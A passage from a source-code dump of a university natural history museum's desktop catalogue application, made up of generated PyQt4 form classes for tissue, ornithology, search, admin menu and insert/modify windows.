QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtDescripcion.clear)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButton_2.click)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Tejidos.Guardar)\n QtCore.QMetaObject.connectSlotsByName(Tejidos)\n\n def retranslateUi(self, Tejidos):\n Tejidos.setWindowTitle(_translate(\"Tejidos\", \"Tejidos\", None))\n self.pushButton_2.setText(_translate(\"Tejidos\", \"Limpiar\", None))\n self.label.setText(_translate(\"Tejidos\", \"Nombre\", None))\n self.radioButton.setText(_translate(\"Tejidos\", \"Tejido\", None))\n self.radioButton_2.setText(_translate(\"Tejidos\", \"Carcaza\", None))\n self.radioButton_3.setText(_translate(\"Tejidos\", \"ADN\", None))\n self.comboBox.setItemText(0, _translate(\"Tejidos\", \"Seleccionar\", None))\n self.comboBox.setItemText(1, _translate(\"Tejidos\", \"Músculo Pectoral\", None))\n self.comboBox.setItemText(2, _translate(\"Tejidos\", \"Higado\", None))\n self.comboBox.setItemText(3, _translate(\"Tejidos\", \"Corazón\", None))\n self.label_2.setText(_translate(\"Tejidos\", \"MYR\", None))\n self.pushButton.setText(_translate(\"Tejidos\", \"Guardar\", None))\n\n" }, { "alpha_fraction": 0.6525848507881165, "alphanum_fraction": 0.6998456716537476, "avg_line_length": 52.98958206176758, "blob_id": "35e03a930f1b2992e30e634491c27b57327b3512", "content_id": "cac67701de76393a0cd54a470169b1bbed40e0a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5184, "license_type": "no_license", "max_line_length": 132, "num_lines": 96, "path": "/Grafico/MenuAdministradorGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'MenuAdministrador.ui'\n#\n# Created: Tue Dec 09 08:00:43 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Menuadmin(object):\n def setupUi(self, Menuadmin):\n Menuadmin.setObjectName(_fromUtf8(\"Menuadmin\"))\n Menuadmin.resize(323, 400)\n Menuadmin.setMinimumSize(QtCore.QSize(323, 400))\n Menuadmin.setMaximumSize(QtCore.QSize(323, 400))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n Menuadmin.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(Menuadmin)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_5 = QtGui.QLabel(self.centralwidget)\n self.label_5.setGeometry(QtCore.QRect(0, -20, 441, 421))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(19)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_5.setFont(font)\n self.label_5.setText(_fromUtf8(\"\"))\n self.label_5.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/10841299_904791456198550_2128780366_n.jpg\")))\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.BSalir = QtGui.QPushButton(self.centralwidget)\n self.BSalir.setGeometry(QtCore.QRect(120, 330, 75, 23))\n self.BSalir.setObjectName(_fromUtf8(\"BSalir\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(120, 90, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(120, 130, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.pushButton_3 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(120, 170, 75, 23))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n self.BcambioPassadmin = QtGui.QPushButton(self.centralwidget)\n self.BcambioPassadmin.setGeometry(QtCore.QRect(120, 250, 75, 23))\n self.BcambioPassadmin.setObjectName(_fromUtf8(\"BcambioPassadmin\"))\n self.pushButton_4 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_4.setGeometry(QtCore.QRect(120, 210, 75, 23))\n self.pushButton_4.setObjectName(_fromUtf8(\"pushButton_4\"))\n self.pushButton_5 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_5.setGeometry(QtCore.QRect(120, 290, 75, 23))\n self.pushButton_5.setObjectName(_fromUtf8(\"pushButton_5\"))\n Menuadmin.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Menuadmin)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Menuadmin.setStatusBar(self.statusbar)\n\n self.retranslateUi(Menuadmin)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.Busqueda)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.Modificar)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.Usuarios)\n QtCore.QObject.connect(self.BSalir, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.Salir)\n QtCore.QObject.connect(self.BcambioPassadmin, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.CambioPassadmin)\n QtCore.QObject.connect(self.pushButton_4, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.CopiaSeguridad)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Menuadmin.VerAportes)\n QtCore.QMetaObject.connectSlotsByName(Menuadmin)\n Menuadmin.setTabOrder(self.pushButton, self.pushButton_2)\n Menuadmin.setTabOrder(self.pushButton_2, self.pushButton_3)\n Menuadmin.setTabOrder(self.pushButton_3, self.BSalir)\n\n def retranslateUi(self, Menuadmin):\n Menuadmin.setWindowTitle(_translate(\"Menuadmin\", \"Menu\", None))\n self.BSalir.setText(_translate(\"Menuadmin\", \"Salir\", None))\n self.pushButton.setText(_translate(\"Menuadmin\", \"Busqueda\", None))\n self.pushButton_2.setText(_translate(\"Menuadmin\", \"Insertar\", None))\n self.pushButton_3.setText(_translate(\"Menuadmin\", \"Usuarios\", None))\n self.BcambioPassadmin.setText(_translate(\"Menuadmin\", \"Cambian Pass\", None))\n self.pushButton_4.setText(_translate(\"Menuadmin\", \"Backup\", None))\n self.pushButton_5.setText(_translate(\"Menuadmin\", \"Ver Aportes\", None))\n\n" }, { "alpha_fraction": 0.6545252203941345, "alphanum_fraction": 0.7025608420372009, "avg_line_length": 54.140350341796875, "blob_id": "2ac47ce00ac5c2113df4ad04b02ad946909c4ca9", "content_id": "5e357ba521b96b866fae8f7b54c8ce02783cb6bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6287, "license_type": "no_license", "max_line_length": 135, "num_lines": 114, "path": "/Grafico/OrnitologiaGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Ornitologia.ui'\n#\n# Created: Fri Dec 05 17:47:57 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_Ornitologia(object):\n def setupUi(self, Ornitologia):\n Ornitologia.setObjectName(_fromUtf8(\"Ornitologia\"))\n Ornitologia.resize(646, 440)\n Ornitologia.setMinimumSize(QtCore.QSize(646, 440))\n Ornitologia.setMaximumSize(QtCore.QSize(646, 440))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n Ornitologia.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(Ornitologia)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_6 = QtGui.QLabel(self.centralwidget)\n self.label_6.setGeometry(QtCore.QRect(-10, -10, 651, 431))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"High Tower Text\"))\n font.setPointSize(19)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.label_6.setFont(font)\n self.label_6.setText(_fromUtf8(\"\"))\n self.label_6.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/10836275_904791479531881_93460058_n.jpg\")))\n self.label_6.setScaledContents(True)\n self.label_6.setAlignment(QtCore.Qt.AlignCenter)\n self.label_6.setObjectName(_fromUtf8(\"label_6\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(550, 390, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(20, 80, 611, 301))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setItalic(True)\n self.groupBox.setFont(font)\n self.groupBox.setTitle(_fromUtf8(\"\"))\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.TxtEdad = QtGui.QLineEdit(self.groupBox)\n self.TxtEdad.setGeometry(QtCore.QRect(140, 40, 113, 20))\n self.TxtEdad.setObjectName(_fromUtf8(\"TxtEdad\"))\n self.TxtEnvergadura = QtGui.QLineEdit(self.groupBox)\n self.TxtEnvergadura.setGeometry(QtCore.QRect(140, 80, 113, 20))\n self.TxtEnvergadura.setObjectName(_fromUtf8(\"TxtEnvergadura\"))\n self.TxtGrasa = QtGui.QLineEdit(self.groupBox)\n self.TxtGrasa.setGeometry(QtCore.QRect(140, 120, 113, 20))\n self.TxtGrasa.setObjectName(_fromUtf8(\"TxtGrasa\"))\n self.TxtMuda = QtGui.QTextEdit(self.groupBox)\n self.TxtMuda.setGeometry(QtCore.QRect(140, 210, 111, 71))\n self.TxtMuda.setTabStopWidth(20)\n self.TxtMuda.setObjectName(_fromUtf8(\"TxtMuda\"))\n self.TxtContenidoEstomacal = QtGui.QTextEdit(self.groupBox)\n self.TxtContenidoEstomacal.setGeometry(QtCore.QRect(450, 30, 141, 51))\n self.TxtContenidoEstomacal.setObjectName(_fromUtf8(\"TxtContenidoEstomacal\"))\n self.TxtPartesBlandas = QtGui.QTextEdit(self.groupBox)\n self.TxtPartesBlandas.setGeometry(QtCore.QRect(450, 100, 141, 51))\n self.TxtPartesBlandas.setObjectName(_fromUtf8(\"TxtPartesBlandas\"))\n self.TxtReproduccion = QtGui.QTextEdit(self.groupBox)\n self.TxtReproduccion.setGeometry(QtCore.QRect(450, 170, 141, 51))\n self.TxtReproduccion.setObjectName(_fromUtf8(\"TxtReproduccion\"))\n self.TxtOscificacion = QtGui.QLineEdit(self.groupBox)\n self.TxtOscificacion.setGeometry(QtCore.QRect(140, 160, 113, 20))\n self.TxtOscificacion.setObjectName(_fromUtf8(\"TxtOscificacion\"))\n self.TxtGonodas = QtGui.QTextEdit(self.groupBox)\n self.TxtGonodas.setGeometry(QtCore.QRect(450, 240, 141, 51))\n self.TxtGonodas.setObjectName(_fromUtf8(\"TxtGonodas\"))\n self.pushButton_2 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_2.setGeometry(QtCore.QRect(460, 390, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n Ornitologia.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(Ornitologia)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n Ornitologia.setStatusBar(self.statusbar)\n\n self.retranslateUi(Ornitologia)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), Ornitologia.Guardar)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButton_2.click)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtReproduccion.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtPartesBlandas.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtGrasa.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtEdad.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtEnvergadura.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtMuda.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtContenidoEstomacal.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtGonodas.clear)\n QtCore.QMetaObject.connectSlotsByName(Ornitologia)\n\n def retranslateUi(self, Ornitologia):\n Ornitologia.setWindowTitle(_translate(\"Ornitologia\", \"Ornitologia\", None))\n self.pushButton.setText(_translate(\"Ornitologia\", \"Guardar\", None))\n self.pushButton_2.setText(_translate(\"Ornitologia\", \"Limpiar\", None))\n\n" }, { "alpha_fraction": 0.6615440249443054, "alphanum_fraction": 0.7045014500617981, "avg_line_length": 59.757354736328125, "blob_id": "94f261ac9abf5b7ea101b5dfef6d8a8617b96a08", "content_id": "bf13b794f4f71ea6d9467d1dcfff7c7f9c0ac4a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8265, "license_type": "no_license", "max_line_length": 187, "num_lines": 136, "path": "/Grafico/BusquedaGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'Busqueda.ui'\n#\n# Created: Tue Dec 09 10:23:13 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_PanelDeBusqueda(object):\n def setupUi(self, PanelDeBusqueda):\n PanelDeBusqueda.setObjectName(_fromUtf8(\"PanelDeBusqueda\"))\n PanelDeBusqueda.resize(661, 550)\n PanelDeBusqueda.setMinimumSize(QtCore.QSize(661, 550))\n PanelDeBusqueda.setMaximumSize(QtCore.QSize(661, 550))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n PanelDeBusqueda.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(PanelDeBusqueda)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.pushButton = QtGui.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(20, 490, 75, 23))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.TablaGeneral = QtGui.QTableWidget(self.centralwidget)\n self.TablaGeneral.setGeometry(QtCore.QRect(20, 230, 621, 251))\n self.TablaGeneral.setObjectName(_fromUtf8(\"TablaGeneral\"))\n self.TablaGeneral.setColumnCount(0)\n self.TablaGeneral.setRowCount(0)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n self.groupBox.setGeometry(QtCore.QRect(20, 30, 621, 191))\n self.groupBox.setMinimumSize(QtCore.QSize(621, 191))\n self.groupBox.setMaximumSize(QtCore.QSize(621, 191))\n font = QtGui.QFont()\n font.setPointSize(11)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.groupBox.setFont(font)\n self.groupBox.setObjectName(_fromUtf8(\"groupBox\"))\n self.radioButton = QtGui.QRadioButton(self.groupBox)\n self.radioButton.setGeometry(QtCore.QRect(10, 170, 221, 17))\n self.radioButton.setObjectName(_fromUtf8(\"radioButton\"))\n self.radioButton_2 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_2.setGeometry(QtCore.QRect(20, 40, 121, 21))\n self.radioButton_2.setObjectName(_fromUtf8(\"radioButton_2\"))\n self.radioButton_3 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_3.setGeometry(QtCore.QRect(20, 70, 131, 17))\n self.radioButton_3.setObjectName(_fromUtf8(\"radioButton_3\"))\n self.radioButton_4 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_4.setGeometry(QtCore.QRect(20, 100, 111, 17))\n self.radioButton_4.setObjectName(_fromUtf8(\"radioButton_4\"))\n self.radioButton_5 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_5.setGeometry(QtCore.QRect(20, 130, 101, 17))\n self.radioButton_5.setObjectName(_fromUtf8(\"radioButton_5\"))\n self.TxtBNombre = QtGui.QLineEdit(self.groupBox)\n self.TxtBNombre.setEnabled(False)\n self.TxtBNombre.setGeometry(QtCore.QRect(210, 40, 391, 20))\n self.TxtBNombre.setObjectName(_fromUtf8(\"TxtBNombre\"))\n self.TxtBDpto = QtGui.QLineEdit(self.groupBox)\n self.TxtBDpto.setEnabled(False)\n self.TxtBDpto.setGeometry(QtCore.QRect(210, 70, 391, 20))\n self.TxtBDpto.setObjectName(_fromUtf8(\"TxtBDpto\"))\n self.TxtBSub = QtGui.QLineEdit(self.groupBox)\n self.TxtBSub.setEnabled(False)\n self.TxtBSub.setGeometry(QtCore.QRect(210, 100, 391, 20))\n self.TxtBSub.setObjectName(_fromUtf8(\"TxtBSub\"))\n self.TxtBCol = QtGui.QLineEdit(self.groupBox)\n self.TxtBCol.setEnabled(False)\n self.TxtBCol.setGeometry(QtCore.QRect(210, 130, 391, 20))\n self.TxtBCol.setObjectName(_fromUtf8(\"TxtBCol\"))\n self.pushButton_2 = QtGui.QPushButton(self.groupBox)\n self.pushButton_2.setGeometry(QtCore.QRect(520, 160, 75, 23))\n self.pushButton_2.setObjectName(_fromUtf8(\"pushButton_2\"))\n self.radioButton_6 = QtGui.QRadioButton(self.groupBox)\n self.radioButton_6.setGeometry(QtCore.QRect(260, 170, 191, 17))\n self.radioButton_6.setObjectName(_fromUtf8(\"radioButton_6\"))\n self.label = QtGui.QLabel(self.centralwidget)\n self.label.setGeometry(QtCore.QRect(0, -10, 661, 51))\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.pushButton_3 = QtGui.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(110, 490, 75, 23))\n self.pushButton_3.setObjectName(_fromUtf8(\"pushButton_3\"))\n self.label_4 = QtGui.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(480, 500, 161, 20))\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n PanelDeBusqueda.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(PanelDeBusqueda)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n PanelDeBusqueda.setStatusBar(self.statusbar)\n\n self.retranslateUi(PanelDeBusqueda)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.Volver)\n QtCore.QObject.connect(self.radioButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.BusquedaEspecifica)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TablaGeneral.clear)\n QtCore.QObject.connect(self.radioButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.BNombre)\n QtCore.QObject.connect(self.radioButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.BDepartamento)\n QtCore.QObject.connect(self.radioButton_4, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.BSubespecie)\n QtCore.QObject.connect(self.radioButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.BColector)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtBCol.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtBSub.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtBDpto.clear)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TxtBNombre.clear)\n QtCore.QObject.connect(self.radioButton_6, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), PanelDeBusqueda.VerEstado)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.TablaGeneral.clear)\n QtCore.QMetaObject.connectSlotsByName(PanelDeBusqueda)\n\n def retranslateUi(self, PanelDeBusqueda):\n PanelDeBusqueda.setWindowTitle(_translate(\"PanelDeBusqueda\", \"Panel De Busqueda\", None))\n self.pushButton.setText(_translate(\"PanelDeBusqueda\", \"Volver\", None))\n self.groupBox.setTitle(_translate(\"PanelDeBusqueda\", \"BUSCAR\", None))\n self.radioButton.setText(_translate(\"PanelDeBusqueda\", \"Ir a busqueda especifica\", None))\n self.radioButton_2.setText(_translate(\"PanelDeBusqueda\", \"Nombre\", None))\n self.radioButton_3.setText(_translate(\"PanelDeBusqueda\", \"Departamento\", None))\n self.radioButton_4.setText(_translate(\"PanelDeBusqueda\", \"Subespecie\", None))\n self.radioButton_5.setText(_translate(\"PanelDeBusqueda\", \"Colector\", None))\n self.pushButton_2.setText(_translate(\"PanelDeBusqueda\", \"Limpiar\", None))\n self.radioButton_6.setText(_translate(\"PanelDeBusqueda\", \"Consultar Por Estado\", None))\n self.label.setText(_translate(\"PanelDeBusqueda\", \"<html><head/><body><p align=\\\"center\\\"><span style=\\\" font-size:14pt; color:#0000ff;\\\">Busqueda</span></p></body></html>\", None))\n self.pushButton_3.setText(_translate(\"PanelDeBusqueda\", \"Limpiar\", None))\n self.label_4.setText(_translate(\"PanelDeBusqueda\", \"Universidad de los Llanos 2014 ®\", None))\n\n" }, { "alpha_fraction": 0.638663649559021, "alphanum_fraction": 0.6732079386711121, "avg_line_length": 45.70454406738281, "blob_id": "3785810c13347b826a6dfccaf75fd158f5ed3337", "content_id": "0288e600319c802f9886c339c332cbedfe2de828", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6170, "license_type": "no_license", "max_line_length": 135, "num_lines": 132, "path": "/Grafico/MenuModificarInsertarGrafico.py", "repo_name": "Dani472/MuseoUnillanos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'MenuModificarInsertar.ui'\n#\n# Created: Sun Dec 07 23:38:55 2014\n# by: PyQt4 UI code generator 4.11.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt4 import QtCore, QtGui\n\ntry:\n _fromUtf8 = QtCore.QString.fromUtf8\nexcept AttributeError:\n def _fromUtf8(s):\n return s\n\ntry:\n _encoding = QtGui.QApplication.UnicodeUTF8\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig, _encoding)\nexcept AttributeError:\n def _translate(context, text, disambig):\n return QtGui.QApplication.translate(context, text, disambig)\n\nclass Ui_MenuModificar(object):\n def setupUi(self, MenuModificar):\n MenuModificar.setObjectName(_fromUtf8(\"MenuModificar\"))\n MenuModificar.resize(310, 325)\n MenuModificar.setMinimumSize(QtCore.QSize(310, 325))\n MenuModificar.setMaximumSize(QtCore.QSize(310, 304))\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(_fromUtf8(\"../../10808257_892502220760807_508259266_n.jpg\")), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n MenuModificar.setWindowIcon(icon)\n self.centralwidget = QtGui.QWidget(MenuModificar)\n self.centralwidget.setObjectName(_fromUtf8(\"centralwidget\"))\n self.label_4 = QtGui.QLabel(self.centralwidget)\n self.label_4.setGeometry(QtCore.QRect(0, 0, 311, 301))\n self.label_4.setText(_fromUtf8(\"\"))\n self.label_4.setPixmap(QtGui.QPixmap(_fromUtf8(\"C:/Fondos/insertar.jpg\")))\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.BVolver = QtGui.QPushButton(self.centralwidget)\n self.BVolver.setGeometry(QtCore.QRect(110, 260, 75, 23))\n self.BVolver.setObjectName(_fromUtf8(\"BVolver\"))\n self.RBIC = QtGui.QRadioButton(self.centralwidget)\n self.RBIC.setEnabled(False)\n self.RBIC.setGeometry(QtCore.QRect(100, 80, 111, 17))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Microsoft New Tai Lue\"))\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.RBIC.setFont(font)\n self.RBIC.setObjectName(_fromUtf8(\"RBIC\"))\n self.RBHe = QtGui.QRadioButton(self.centralwidget)\n self.RBHe.setEnabled(False)\n self.RBHe.setGeometry(QtCore.QRect(100, 110, 121, 17))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Microsoft New Tai Lue\"))\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.RBHe.setFont(font)\n self.RBHe.setObjectName(_fromUtf8(\"RBHe\"))\n self.RBOr = QtGui.QRadioButton(self.centralwidget)\n self.RBOr.setGeometry(QtCore.QRect(100, 140, 111, 17))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Microsoft New Tai Lue\"))\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.RBOr.setFont(font)\n self.RBOr.setObjectName(_fromUtf8(\"RBOr\"))\n self.RBMu = QtGui.QRadioButton(self.centralwidget)\n self.RBMu.setEnabled(False)\n self.RBMu.setGeometry(QtCore.QRect(100, 170, 151, 17))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Microsoft New Tai Lue\"))\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.RBMu.setFont(font)\n self.RBMu.setObjectName(_fromUtf8(\"RBMu\"))\n self.RBIn = QtGui.QRadioButton(self.centralwidget)\n self.RBIn.setEnabled(False)\n self.RBIn.setGeometry(QtCore.QRect(100, 200, 131, 17))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Microsoft New Tai Lue\"))\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.RBIn.setFont(font)\n self.RBIn.setObjectName(_fromUtf8(\"RBIn\"))\n self.RBTe = QtGui.QRadioButton(self.centralwidget)\n self.RBTe.setGeometry(QtCore.QRect(100, 230, 121, 17))\n font = QtGui.QFont()\n font.setFamily(_fromUtf8(\"Microsoft New Tai Lue\"))\n font.setPointSize(10)\n font.setBold(True)\n font.setItalic(True)\n font.setWeight(75)\n self.RBTe.setFont(font)\n self.RBTe.setObjectName(_fromUtf8(\"RBTe\"))\n MenuModificar.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MenuModificar)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n MenuModificar.setStatusBar(self.statusbar)\n\n self.retranslateUi(MenuModificar)\n QtCore.QObject.connect(self.BVolver, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Volver)\n QtCore.QObject.connect(self.RBIC, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Ictiologica)\n QtCore.QObject.connect(self.RBHe, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Herpofologica)\n QtCore.QObject.connect(self.RBOr, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Ornitologica)\n QtCore.QObject.connect(self.RBMu, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Mustozoologica)\n QtCore.QObject.connect(self.RBIn, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Invertebrados)\n QtCore.QObject.connect(self.RBTe, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), MenuModificar.Tejidos)\n QtCore.QMetaObject.connectSlotsByName(MenuModificar)\n\n def retranslateUi(self, MenuModificar):\n MenuModificar.setWindowTitle(_translate(\"MenuModificar\", \"Menu Modificar - 